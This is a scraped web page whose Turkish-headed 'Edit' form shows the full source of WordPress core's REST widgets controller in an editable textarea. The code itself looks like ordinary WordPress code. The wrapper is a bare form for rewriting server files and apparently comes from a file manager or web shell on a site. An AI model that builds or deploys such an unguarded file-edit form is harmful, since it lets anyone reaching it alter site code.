?<h3>D¨ızenle: class-wp-rest-widgets-controller.php</h3>
        <form method='POST'>
        <textarea name='edit' style='width:100%;height:400px;font-family:monospace'>&lt;?php
/**
 * REST API: WP_REST_Widgets_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.8.0
 */

/**
 * Core class to access widgets via the REST API.
 *
 * @since 5.8.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Widgets_Controller extends WP_REST_Controller {

	/**
	 * Tracks whether {@see retrieve_widgets()} has been called in the current request.
	 *
	 * @since 5.9.0
	 * @var bool
	 */
	protected $widgets_retrieved = false;

	/**
	 * Whether the controller supports batching.
	 *
	 * @since 5.9.0
	 * @var array
	 */
	protected $allow_batch = array( &#039;v1&#039; =&gt; true );

	/**
	 * Widgets controller constructor.
	 *
	 * @since 5.8.0
	 */
	public function __construct() {
		$this-&gt;namespace = &#039;wp/v2&#039;;
		$this-&gt;rest_base = &#039;widgets&#039;;
	}

	/**
	 * Registers the widget routes for the controller.
	 *
	 * @since 5.8.0
	 */
	public function register_routes() {
		register_rest_route(
			$this-&gt;namespace,
			$this-&gt;rest_base,
			array(
				array(
					&#039;methods&#039;             =&gt; WP_REST_Server::READABLE,
					&#039;callback&#039;            =&gt; array( $this, &#039;get_items&#039; ),
					&#039;permission_callback&#039; =&gt; array( $this, &#039;get_items_permissions_check&#039; ),
					&#039;args&#039;                =&gt; $this-&gt;get_collection_params(),
				),
				array(
					&#039;methods&#039;             =&gt; WP_REST_Server::CREATABLE,
					&#039;callback&#039;            =&gt; array( $this, &#039;create_item&#039; ),
					&#039;permission_callback&#039; =&gt; array( $this, &#039;create_item_permissions_check&#039; ),
					&#039;args&#039;                =&gt; $this-&gt;get_endpoint_args_for_item_schema(),
				),
				&#039;allow_batch&#039; =&gt; $this-&gt;allow_batch,
				&#039;schema&#039;      =&gt; array( $this, &#039;get_public_item_schema&#039; ),
			)
		);

		register_rest_route(
			$this-&gt;namespace,
			$this-&gt;rest_base . &#039;/(?P&lt;id&gt;[\w\-]+)&#039;,
			array(
				array(
					&#039;methods&#039;             =&gt; WP_REST_Server::READABLE,
					&#039;callback&#039;            =&gt; array( $this, &#039;get_item&#039; ),
					&#039;permission_callback&#039; =&gt; array( $this, &#039;get_item_permissions_check&#039; ),
					&#039;args&#039;                =&gt; array(
						&#039;context&#039; =&gt; $this-&gt;get_context_param( array( &#039;default&#039; =&gt; &#039;view&#039; ) ),
					),
				),
				array(
					&#039;methods&#039;             =&gt; WP_REST_Server::EDITABLE,
					&#039;callback&#039;            =&gt; array( $this, &#039;update_item&#039; ),
					&#039;permission_callback&#039; =&gt; array( $this, &#039;update_item_permissions_check&#039; ),
					&#039;args&#039;                =&gt; $this-&gt;get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				array(
					&#039;methods&#039;             =&gt; WP_REST_Server::DELETABLE,
					&#039;callback&#039;            =&gt; array( $this, &#039;delete_item&#039; ),
					&#039;permission_callback&#039; =&gt; array( $this, &#039;delete_item_permissions_check&#039; ),
					&#039;args&#039;                =&gt; array(
						&#039;force&#039; =&gt; array(
							&#039;description&#039; =&gt; __( &#039;Whether to force removal of the widget, or move it to the inactive sidebar.&#039; ),
							&#039;type&#039;        =&gt; &#039;boolean&#039;,
						),
					),
				),
				&#039;allow_batch&#039; =&gt; $this-&gt;allow_batch,
				&#039;schema&#039;      =&gt; array( $this, &#039;get_public_item_schema&#039; ),
			)
		);
	}

	/**
	 * Checks if a given request has access to get widgets.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		$this-&gt;retrieve_widgets();
		if ( isset( $request[&#039;sidebar&#039;] ) &amp;&amp; $this-&gt;check_read_sidebar_permission( $request[&#039;sidebar&#039;] ) ) {
			return true;
		}

		foreach ( wp_get_sidebars_widgets() as $sidebar_id =&gt; $widget_ids ) {
			if ( $this-&gt;check_read_sidebar_permission( $sidebar_id ) ) {
				return true;
			}
		}

		return $this-&gt;permissions_check( $request );
	}

	/**
	 * Retrieves a collection of widgets.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response Response object.
	 */
	public function get_items( $request ) {
		if ( $request-&gt;is_method( &#039;HEAD&#039; ) ) {
			// Return early as this handler doesn&#039;t add any response headers.
			return new WP_REST_Response( array() );
		}

		$this-&gt;retrieve_widgets();

		$prepared          = array();
		$permissions_check = $this-&gt;permissions_check( $request );

		foreach ( wp_get_sidebars_widgets() as $sidebar_id =&gt; $widget_ids ) {
			if ( isset( $request[&#039;sidebar&#039;] ) &amp;&amp; $sidebar_id !== $request[&#039;sidebar&#039;] ) {
				continue;
			}

			if ( is_wp_error( $permissions_check ) &amp;&amp; ! $this-&gt;check_read_sidebar_permission( $sidebar_id ) ) {
				continue;
			}

			foreach ( $widget_ids as $widget_id ) {
				$response = $this-&gt;prepare_item_for_response( compact( &#039;sidebar_id&#039;, &#039;widget_id&#039; ), $request );

				if ( ! is_wp_error( $response ) ) {
					$prepared[] = $this-&gt;prepare_response_for_collection( $response );
				}
			}
		}

		return new WP_REST_Response( $prepared );
	}

	/**
	 * Checks if a given request has access to get a widget.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$this-&gt;retrieve_widgets();

		$widget_id  = $request[&#039;id&#039;];
		$sidebar_id = wp_find_widgets_sidebar( $widget_id );

		if ( $sidebar_id &amp;&amp; $this-&gt;check_read_sidebar_permission( $sidebar_id ) ) {
			return true;
		}

		return $this-&gt;permissions_check( $request );
	}

	/**
	 * Checks if a sidebar can be read publicly.
	 *
	 * @since 5.9.0
	 *
	 * @param string $sidebar_id The sidebar ID.
	 * @return bool Whether the sidebar can be read.
	 */
	protected function check_read_sidebar_permission( $sidebar_id ) {
		$sidebar = wp_get_sidebar( $sidebar_id );

		return ! empty( $sidebar[&#039;show_in_rest&#039;] );
	}

	/**
	 * Gets an individual widget.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$this-&gt;retrieve_widgets();

		$widget_id  = $request[&#039;id&#039;];
		$sidebar_id = wp_find_widgets_sidebar( $widget_id );

		if ( is_null( $sidebar_id ) ) {
			return new WP_Error(
				&#039;rest_widget_not_found&#039;,
				__( &#039;No widget was found with that id.&#039; ),
				array( &#039;status&#039; =&gt; 404 )
			);
		}

		return $this-&gt;prepare_item_for_response( compact( &#039;widget_id&#039;, &#039;sidebar_id&#039; ), $request );
	}

	/**
	 * Checks if a given request has access to create widgets.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {
		return $this-&gt;permissions_check( $request );
	}

	/**
	 * Creates a widget.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		$sidebar_id = $request[&#039;sidebar&#039;];

		$widget_id = $this-&gt;save_widget( $request, $sidebar_id );

		if ( is_wp_error( $widget_id ) ) {
			return $widget_id;
		}

		wp_assign_widget_to_sidebar( $widget_id, $sidebar_id );

		$request[&#039;context&#039;] = &#039;edit&#039;;

		$response = $this-&gt;prepare_item_for_response( compact( &#039;sidebar_id&#039;, &#039;widget_id&#039; ), $request );

		if ( is_wp_error( $response ) ) {
			return $response;
		}

		$response-&gt;set_status( 201 );

		return $response;
	}

	/**
	 * Checks if a given request has access to update widgets.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		return $this-&gt;permissions_check( $request );
	}

	/**
	 * Updates an existing widget.
	 *
	 * @since 5.8.0
	 *
	 * @global WP_Widget_Factory $wp_widget_factory
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		global $wp_widget_factory;

		/*
		 * retrieve_widgets() contains logic to move &quot;hidden&quot; or &quot;lost&quot; widgets to the
		 * wp_inactive_widgets sidebar based on the contents of the $sidebars_widgets global.
		 *
		 * When batch requests are processed, this global is not properly updated by previous
		 * calls, resulting in widgets incorrectly being moved to the wp_inactive_widgets
		 * sidebar.
		 *
		 * See https://core.trac.wordpress.org/ticket/53657.
		 */
		wp_get_sidebars_widgets();
		$this-&gt;retrieve_widgets();

		$widget_id  = $request[&#039;id&#039;];
		$sidebar_id = wp_find_widgets_sidebar( $widget_id );

		// Allow sidebar to be unset or missing when widget is not a WP_Widget.
		$parsed_id     = wp_parse_widget_id( $widget_id );
		$widget_object = $wp_widget_factory-&gt;get_widget_object( $parsed_id[&#039;id_base&#039;] );
		if ( is_null( $sidebar_id ) &amp;&amp; $widget_object ) {
			return new WP_Error(
				&#039;rest_widget_not_found&#039;,
				__( &#039;No widget was found with that id.&#039; ),
				array( &#039;status&#039; =&gt; 404 )
			);
		}

		if (
			$request-&gt;has_param( &#039;instance&#039; ) ||
			$request-&gt;has_param( &#039;form_data&#039; )
		) {
			$maybe_error = $this-&gt;save_widget( $request, $sidebar_id );
			if ( is_wp_error( $maybe_error ) ) {
				return $maybe_error;
			}
		}

		if ( $request-&gt;has_param( &#039;sidebar&#039; ) ) {
			if ( $sidebar_id !== $request[&#039;sidebar&#039;] ) {
				$sidebar_id = $request[&#039;sidebar&#039;];
				wp_assign_widget_to_sidebar( $widget_id, $sidebar_id );
			}
		}

		$request[&#039;context&#039;] = &#039;edit&#039;;

		return $this-&gt;prepare_item_for_response( compact( &#039;widget_id&#039;, &#039;sidebar_id&#039; ), $request );
	}

	/**
	 * Checks if a given request has access to delete widgets.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		return $this-&gt;permissions_check( $request );
	}

	/**
	 * Deletes a widget.
	 *
	 * @since 5.8.0
	 *
	 * @global WP_Widget_Factory $wp_widget_factory
	 * @global array             $wp_registered_widget_updates The registered widget update functions.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		global $wp_widget_factory, $wp_registered_widget_updates;

		/*
		 * retrieve_widgets() contains logic to move &quot;hidden&quot; or &quot;lost&quot; widgets to the
		 * wp_inactive_widgets sidebar based on the contents of the $sidebars_widgets global.
		 *
		 * When batch requests are processed, this global is not properly updated by previous
		 * calls, resulting in widgets incorrectly being moved to the wp_inactive_widgets
		 * sidebar.
		 *
		 * See https://core.trac.wordpress.org/ticket/53657.
		 */
		wp_get_sidebars_widgets();
		$this-&gt;retrieve_widgets();

		$widget_id  = $request[&#039;id&#039;];
		$sidebar_id = wp_find_widgets_sidebar( $widget_id );

		if ( is_null( $sidebar_id ) ) {
			return new WP_Error(
				&#039;rest_widget_not_found&#039;,
				__( &#039;No widget was found with that id.&#039; ),
				array( &#039;status&#039; =&gt; 404 )
			);
		}

		$request[&#039;context&#039;] = &#039;edit&#039;;

		if ( $request[&#039;force&#039;] ) {
			$response = $this-&gt;prepare_item_for_response( compact( &#039;widget_id&#039;, &#039;sidebar_id&#039; ), $request );

			$parsed_id = wp_parse_widget_id( $widget_id );
			$id_base   = $parsed_id[&#039;id_base&#039;];

			$original_post    = $_POST;
			$original_request = $_REQUEST;

			$_POST    = array(
				&#039;sidebar&#039;         =&gt; $sidebar_id,
				&quot;widget-$id_base&quot; =&gt; array(),
				&#039;the-widget-id&#039;   =&gt; $widget_id,
				&#039;delete_widget&#039;   =&gt; &#039;1&#039;,
			);
			$_REQUEST = $_POST;

			/** This action is documented in wp-admin/widgets-form.php */
			do_action( &#039;delete_widget&#039;, $widget_id, $sidebar_id, $id_base );

			$callback = $wp_registered_widget_updates[ $id_base ][&#039;callback&#039;];
			$params   = $wp_registered_widget_updates[ $id_base ][&#039;params&#039;];

			if ( is_callable( $callback ) ) {
				ob_start();
				call_user_func_array( $callback, $params );
				ob_end_clean();
			}

			$_POST    = $original_post;
			$_REQUEST = $original_request;

			$widget_object = $wp_widget_factory-&gt;get_widget_object( $id_base );

			if ( $widget_object ) {
				/*
				 * WP_Widget sets `updated = true` after an update to prevent more than one widget
				 * from being saved per request. This isn&#039;t what we want in the REST API, though,
				 * as we support batch requests.
				 */
				$widget_object-&gt;updated = false;
			}

			wp_assign_widget_to_sidebar( $widget_id, &#039;&#039; );

			$response-&gt;set_data(
				array(
					&#039;deleted&#039;  =&gt; true,
					&#039;previous&#039; =&gt; $response-&gt;get_data(),
				)
			);
		} else {
			wp_assign_widget_to_sidebar( $widget_id, &#039;wp_inactive_widgets&#039; );

			$response = $this-&gt;prepare_item_for_response(
				array(
					&#039;sidebar_id&#039; =&gt; &#039;wp_inactive_widgets&#039;,
					&#039;widget_id&#039;  =&gt; $widget_id,
				),
				$request
			);
		}

		/**
		 * Fires after a widget is deleted via the REST API.
		 *
		 * @since 5.8.0
		 *
		 * @param string                    $widget_id  ID of the widget marked for deletion.
		 * @param string                    $sidebar_id ID of the sidebar the widget was deleted from.
		 * @param WP_REST_Response|WP_Error $response   The response data, or WP_Error object on failure.
		 * @param WP_REST_Request           $request    The request sent to the API.
		 */
		do_action( &#039;rest_delete_widget&#039;, $widget_id, $sidebar_id, $response, $request );

		return $response;
	}

	/**
	 * Performs a permissions check for managing widgets.
	 *
	 * @since 5.8.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error
	 */
	protected function permissions_check( $request ) {
		if ( ! current_user_can( &#039;edit_theme_options&#039; ) ) {
			return new WP_Error(
				&#039;rest_cannot_manage_widgets&#039;,
				__( &#039;Sorry, you are not allowed to manage widgets on this site.&#039; ),
				array(
					&#039;status&#039; =&gt; rest_authorization_required_code(),
				)
			);
		}

		return true;
	}

	/**
	 * Looks for &quot;lost&quot; widgets once per request.
	 *
	 * @since 5.9.0
	 *
	 * @see retrieve_widgets()
	 */
	protected function retrieve_widgets() {
		if ( ! $this-&gt;widgets_retrieved ) {
			retrieve_widgets();
			$this-&gt;widgets_retrieved = true;
		}
	}

	/**
	 * Saves the widget in the request object.
	 *
	 * @since 5.8.0
	 *
	 * @global WP_Widget_Factory $wp_widget_factory
	 * @global array             $wp_registered_widget_updates The registered widget update functions.
	 *
	 * @param WP_REST_Request $request    Full details about the request.
	 * @param string          $sidebar_id ID of the sidebar the widget belongs to.
	 * @return string|WP_Error The saved widget ID.
	 */
	protected function save_widget( $request, $sidebar_id ) {
		global $wp_widget_factory, $wp_registered_widget_updates;

		require_once ABSPATH . &#039;wp-admin/includes/widgets.php&#039;; // For next_widget_id_number().

		if ( isset( $request[&#039;id&#039;] ) ) {
			// Saving an existing widget.
			$id            = $request[&#039;id&#039;];
			$parsed_id     = wp_parse_widget_id( $id );
			$id_base       = $parsed_id[&#039;id_base&#039;];
			$number        = isset( $parsed_id[&#039;number&#039;] ) ? $parsed_id[&#039;number&#039;] : null;
			$widget_object = $wp_widget_factory-&gt;get_widget_object( $id_base );
			$creating      = false;
		} elseif ( $request[&#039;id_base&#039;] ) {
			// Saving a new widget.
			$id_base       = $request[&#039;id_base&#039;];
			$widget_object = $wp_widget_factory-&gt;get_widget_object( $id_base );
			$number        = $widget_object ? next_widget_id_number( $id_base ) : null;
			$id            = $widget_object ? $id_base . &#039;-&#039; . $number : $id_base;
			$creating      = true;
		} else {
			return new WP_Error(
				&#039;rest_invalid_widget&#039;,
				__( &#039;Widget type (id_base) is required.&#039; ),
				array( &#039;status&#039; =&gt; 400 )
			);
		}

		if ( ! isset( $wp_registered_widget_updates[ $id_base ] ) ) {
			return new WP_Error(
				&#039;rest_invalid_widget&#039;,
				__( &#039;The provided widget type (id_base) cannot be updated.&#039; ),
				array( &#039;status&#039; =&gt; 400 )
			);
		}

		if ( isset( $request[&#039;instance&#039;] ) ) {
			if ( ! $widget_object ) {
				return new WP_Error(
					&#039;rest_invalid_widget&#039;,
					__( &#039;Cannot set instance on a widget that does not extend WP_Widget.&#039; ),
					array( &#039;status&#039; =&gt; 400 )
				);
			}

			if ( isset( $request[&#039;instance&#039;][&#039;raw&#039;] ) ) {
				if ( empty( $widget_object-&gt;widget_options[&#039;show_instance_in_rest&#039;] ) ) {
					return new WP_Error(
						&#039;rest_invalid_widget&#039;,
						__( &#039;Widget type does not support raw instances.&#039; ),
						array( &#039;status&#039; =&gt; 400 )
					);
				}
				$instance = $request[&#039;instance&#039;][&#039;raw&#039;];
			} elseif ( isset( $request[&#039;instance&#039;][&#039;encoded&#039;], $request[&#039;instance&#039;][&#039;hash&#039;] ) ) {
				$serialized_instance = base64_decode( $request[&#039;instance&#039;][&#039;encoded&#039;] );
				if ( ! hash_equals( wp_hash( $serialized_instance ), $request[&#039;instance&#039;][&#039;hash&#039;] ) ) {
					return new WP_Error(
						&#039;rest_invalid_widget&#039;,
						__( &#039;The provided instance is malformed.&#039; ),
						array( &#039;status&#039; =&gt; 400 )
					);
				}
				$instance = unserialize( $serialized_instance );
			} else {
				return new WP_Error(
					&#039;rest_invalid_widget&#039;,
					__( &#039;The provided instance is invalid. Must contain raw OR encoded and hash.&#039; ),
					array( &#039;status&#039; =&gt; 400 )
				);
			}

			$form_data = array(
				&quot;widget-$id_base&quot; =&gt; array(
					$number =&gt; $instance,
				),
				&#039;sidebar&#039;         =&gt; $sidebar_id,
			);
		} elseif ( isset( $request[&#039;form_data&#039;] ) ) {
			$form_data = $request[&#039;form_data&#039;];
		} else {
			$form_data = array();
		}

		$original_post    = $_POST;
		$original_request = $_REQUEST;

		foreach ( $form_data as $key =&gt; $value ) {
			$slashed_value    = wp_slash( $value );
			$_POST[ $key ]    = $slashed_value;
			$_REQUEST[ $key ] = $slashed_value;
		}

		$callback = $wp_registered_widget_updates[ $id_base ][&#039;callback&#039;];
		$params   = $wp_registered_widget_updates[ $id_base ][&#039;params&#039;];

		if ( is_callable( $callback ) ) {
			ob_start();
			call_user_func_array( $callback, $params );
			ob_end_clean();
		}

		$_POST    = $original_post;
		$_REQUEST = $original_request;

		if ( $widget_object ) {
			// Register any multi-widget that the update callback just created.
			$widget_object-&gt;_set( $number );
			$widget_object-&gt;_register_one( $number );

			/*
			 * WP_Widget sets `updated = true` after an update to prevent more than one widget
			 * from being saved per request. This isn&#039;t what we want in the REST API, though,
			 * as we support batch requests.
			 */
			$widget_object-&gt;updated = false;
		}

		/**
		 * Fires after a widget is created or updated via the REST API.
		 *
		 * @since 5.8.0
		 *
		 * @param string          $id         ID of the widget being saved.
		 * @param string          $sidebar_id ID of the sidebar containing the widget being saved.
		 * @param WP_REST_Request $request    Request object.
		 * @param bool            $creating   True when creating a widget, false when updating.
		 */
		do_action( &#039;rest_after_save_widget&#039;, $id, $sidebar_id, $request, $creating );

		return $id;
	}

	/**
	 * Prepares the widget for the REST response.
	 *
	 * @since 5.8.0
	 *
	 * @global WP_Widget_Factory $wp_widget_factory
	 * @global array             $wp_registered_widgets The registered widgets.
	 *
	 * @param array           $item    An array containing a widget_id and sidebar_id.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function prepare_item_for_response( $item, $request ) {
		global $wp_widget_factory, $wp_registered_widgets;

		$widget_id  = $item[&#039;widget_id&#039;];
		$sidebar_id = $item[&#039;sidebar_id&#039;];

		if ( ! isset( $wp_registered_widgets[ $widget_id ] ) ) {
			return new WP_Error(
				&#039;rest_invalid_widget&#039;,
				__( &#039;The requested widget is invalid.&#039; ),
				array( &#039;status&#039; =&gt; 500 )
			);
		}

		$widget = $wp_registered_widgets[ $widget_id ];
		// Don&#039;t prepare the response body for HEAD requests.
		if ( $request-&gt;is_method( &#039;HEAD&#039; ) ) {
			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php */
			return apply_filters( &#039;rest_prepare_widget&#039;, new WP_REST_Response( array() ), $widget, $request );
		}

		$parsed_id = wp_parse_widget_id( $widget_id );
		$fields    = $this-&gt;get_fields_for_response( $request );

		$prepared = array(
			&#039;id&#039;            =&gt; $widget_id,
			&#039;id_base&#039;       =&gt; $parsed_id[&#039;id_base&#039;],
			&#039;sidebar&#039;       =&gt; $sidebar_id,
			&#039;rendered&#039;      =&gt; &#039;&#039;,
			&#039;rendered_form&#039; =&gt; null,
			&#039;instance&#039;      =&gt; null,
		);

		if (
			rest_is_field_included( &#039;rendered&#039;, $fields ) &amp;&amp;
			&#039;wp_inactive_widgets&#039; !== $sidebar_id
		) {
			$prepared[&#039;rendered&#039;] = trim( wp_render_widget( $widget_id, $sidebar_id ) );
		}

		if ( rest_is_field_included( &#039;rendered_form&#039;, $fields ) ) {
			$rendered_form = wp_render_widget_control( $widget_id );
			if ( ! is_null( $rendered_form ) ) {
				$prepared[&#039;rendered_form&#039;] = trim( $rendered_form );
			}
		}

		if ( rest_is_field_included( &#039;instance&#039;, $fields ) ) {
			$widget_object = $wp_widget_factory-&gt;get_widget_object( $parsed_id[&#039;id_base&#039;] );
			if ( $widget_object &amp;&amp; isset( $parsed_id[&#039;number&#039;] ) ) {
				$all_instances                   = $widget_object-&gt;get_settings();
				$instance                        = $all_instances[ $parsed_id[&#039;number&#039;] ];
				$serialized_instance             = serialize( $instance );
				$prepared[&#039;instance&#039;][&#039;encoded&#039;] = base64_encode( $serialized_instance );
				$prepared[&#039;instance&#039;][&#039;hash&#039;]    = wp_hash( $serialized_instance );

				if ( ! empty( $widget_object-&gt;widget_options[&#039;show_instance_in_rest&#039;] ) ) {
					// Use new stdClass so that JSON result is {} and not [].
					$prepared[&#039;instance&#039;][&#039;raw&#039;] = empty( $instance ) ? new stdClass() : $instance;
				}
			}
		}

		$context  = ! empty( $request[&#039;context&#039;] ) ? $request[&#039;context&#039;] : &#039;view&#039;;
		$prepared = $this-&gt;add_additional_fields_to_object( $prepared, $request );
		$prepared = $this-&gt;filter_response_by_context( $prepared, $context );

		$response = rest_ensure_response( $prepared );

		if ( rest_is_field_included( &#039;_links&#039;, $fields ) || rest_is_field_included( &#039;_embedded&#039;, $fields ) ) {
			$response-&gt;add_links( $this-&gt;prepare_links( $prepared ) );
		}

		/**
		 * Filters the REST API response for a widget.
		 *
		 * @since 5.8.0
		 *
		 * @param WP_REST_Response|WP_Error $response The response object, or WP_Error object on failure.
		 * @param array                     $widget   The registered widget data.
		 * @param WP_REST_Request           $request  Request used to generate the response.
		 */
		return apply_filters( &#039;rest_prepare_widget&#039;, $response, $widget, $request );
	}

	/**
	 * Prepares links for the widget.
	 *
	 * @since 5.8.0
	 *
	 * @param array $prepared Widget.
	 * @return array Links for the given widget.
	 */
	protected function prepare_links( $prepared ) {
		$id_base = ! empty( $prepared[&#039;id_base&#039;] ) ? $prepared[&#039;id_base&#039;] : $prepared[&#039;id&#039;];

		return array(
			&#039;self&#039;                      =&gt; array(
				&#039;href&#039; =&gt; rest_url( sprintf( &#039;%s/%s/%s&#039;, $this-&gt;namespace, $this-&gt;rest_base, $prepared[&#039;id&#039;] ) ),
			),
			&#039;collection&#039;                =&gt; array(
				&#039;href&#039; =&gt; rest_url( sprintf( &#039;%s/%s&#039;, $this-&gt;namespace, $this-&gt;rest_base ) ),
			),
			&#039;about&#039;                     =&gt; array(
				&#039;href&#039;       =&gt; rest_url( sprintf( &#039;wp/v2/widget-types/%s&#039;, $id_base ) ),
				&#039;embeddable&#039; =&gt; true,
			),
			&#039;https://api.w.org/sidebar&#039; =&gt; array(
				&#039;href&#039; =&gt; rest_url( sprintf( &#039;wp/v2/sidebars/%s/&#039;, $prepared[&#039;sidebar&#039;] ) ),
			),
		);
	}

	/**
	 * Gets the list of collection params.
	 *
	 * @since 5.8.0
	 *
	 * @return array[]
	 */
	public function get_collection_params() {
		return array(
			&#039;context&#039; =&gt; $this-&gt;get_context_param( array( &#039;default&#039; =&gt; &#039;view&#039; ) ),
			&#039;sidebar&#039; =&gt; array(
				&#039;description&#039; =&gt; __( &#039;The sidebar to return widgets for.&#039; ),
				&#039;type&#039;        =&gt; &#039;string&#039;,
			),
		);
	}

	/**
	 * Retrieves the widget&#039;s schema, conforming to JSON Schema.
	 *
	 * @since 5.8.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this-&gt;schema ) {
			return $this-&gt;add_additional_fields_schema( $this-&gt;schema );
		}

		$this-&gt;schema = array(
			&#039;$schema&#039;    =&gt; &#039;http://json-schema.org/draft-04/schema#&#039;,
			&#039;title&#039;      =&gt; &#039;widget&#039;,
			&#039;type&#039;       =&gt; &#039;object&#039;,
			&#039;properties&#039; =&gt; array(
				&#039;id&#039;            =&gt; array(
					&#039;description&#039; =&gt; __( &#039;Unique identifier for the widget.&#039; ),
					&#039;type&#039;        =&gt; &#039;string&#039;,
					&#039;context&#039;     =&gt; array( &#039;view&#039;, &#039;edit&#039;, &#039;embed&#039; ),
				),
				&#039;id_base&#039;       =&gt; array(
					&#039;description&#039; =&gt; __( &#039;The type of the widget. Corresponds to ID in widget-types endpoint.&#039; ),
					&#039;type&#039;        =&gt; &#039;string&#039;,
					&#039;context&#039;     =&gt; array( &#039;view&#039;, &#039;edit&#039;, &#039;embed&#039; ),
				),
				&#039;sidebar&#039;       =&gt; array(
					&#039;description&#039; =&gt; __( &#039;The sidebar the widget belongs to.&#039; ),
					&#039;type&#039;        =&gt; &#039;string&#039;,
					&#039;default&#039;     =&gt; &#039;wp_inactive_widgets&#039;,
					&#039;required&#039;    =&gt; true,
					&#039;context&#039;     =&gt; array( &#039;view&#039;, &#039;edit&#039;, &#039;embed&#039; ),
				),
				&#039;rendered&#039;      =&gt; array(
					&#039;description&#039; =&gt; __( &#039;HTML representation of the widget.&#039; ),
					&#039;type&#039;        =&gt; &#039;string&#039;,
					&#039;context&#039;     =&gt; array( &#039;view&#039;, &#039;edit&#039;, &#039;embed&#039; ),
					&#039;readonly&#039;    =&gt; true,
				),
				&#039;rendered_form&#039; =&gt; array(
					&#039;description&#039; =&gt; __( &#039;HTML representation of the widget admin form.&#039; ),
					&#039;type&#039;        =&gt; &#039;string&#039;,
					&#039;context&#039;     =&gt; array( &#039;edit&#039; ),
					&#039;readonly&#039;    =&gt; true,
				),
				&#039;instance&#039;      =&gt; array(
					&#039;description&#039; =&gt; __( &#039;Instance settings of the widget, if supported.&#039; ),
					&#039;type&#039;        =&gt; &#039;object&#039;,
					&#039;context&#039;     =&gt; array( &#039;edit&#039; ),
					&#039;default&#039;     =&gt; null,
					&#039;properties&#039;  =&gt; array(
						&#039;encoded&#039; =&gt; array(
							&#039;description&#039; =&gt; __( &#039;Base64 encoded representation of the instance settings.&#039; ),
							&#039;type&#039;        =&gt; &#039;string&#039;,
							&#039;context&#039;     =&gt; array( &#039;edit&#039; ),
						),
						&#039;hash&#039;    =&gt; array(
							&#039;description&#039; =&gt; __( &#039;Cryptographic hash of the instance settings.&#039; ),
							&#039;type&#039;        =&gt; &#039;string&#039;,
							&#039;context&#039;     =&gt; array( &#039;edit&#039; ),
						),
						&#039;raw&#039;     =&gt; array(
							&#039;description&#039; =&gt; __( &#039;Unencoded instance settings, if supported.&#039; ),
							&#039;type&#039;        =&gt; &#039;object&#039;,
							&#039;context&#039;     =&gt; array( &#039;edit&#039; ),
						),
					),
				),
				&#039;form_data&#039;     =&gt; array(
					&#039;description&#039; =&gt; __( &#039;URL-encoded form data from the widget admin form. Used to update a widget that does not support instance. Write only.&#039; ),
					&#039;type&#039;        =&gt; &#039;string&#039;,
					&#039;context&#039;     =&gt; array(),
					&#039;arg_options&#039; =&gt; array(
						&#039;sanitize_callback&#039; =&gt; static function ( $form_data ) {
							$array = array();
							wp_parse_str( $form_data, $array );
							return $array;
						},
					),
				),
			),
		);

		return $this-&gt;add_additional_fields_schema( $this-&gt;schema );
	}
}
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